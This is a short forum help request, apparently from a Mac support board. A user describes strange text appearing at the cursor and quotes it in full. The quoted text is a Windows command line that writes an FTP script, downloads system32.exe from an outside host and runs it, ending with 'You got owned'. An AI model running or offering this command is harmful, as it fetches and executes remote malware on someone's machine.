7 Replies Latest reply: Mar 25, 2013 3:24 PM by Networking Student
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During the last month, I began using a Magic Mouse with my iMac OS 10.6.8. On at least 2 occasion, it's as if my machine has been taken over and this odd cryptic text begins typing in the space where my cursor sits. The most recent occurance was today, while drafting content in Word, the following text appeared:


Cmd /c echo open own3d.collegefan.org 21 >> ik &echo user nobody lamp >> ik &echo binary >> ik &echo get system32.exe >> ik &echo bye >> ik &ftp –n –v –s:ik &del ik &system32.exe &exit

Echo You got owned


Previously, this occured while typing search terms into Google's search box. The text was similiar to the above but not exactly the same.


Not sure if this a "virus" on my machine, problems with the mouse (which--to my first time using self--has behaved erratically from the start) or someone hacking into my system via Bluetooth.


Thoughts or suggestions on how to troubleshoot/fix?

iMac, Mac OS X (10.6.8)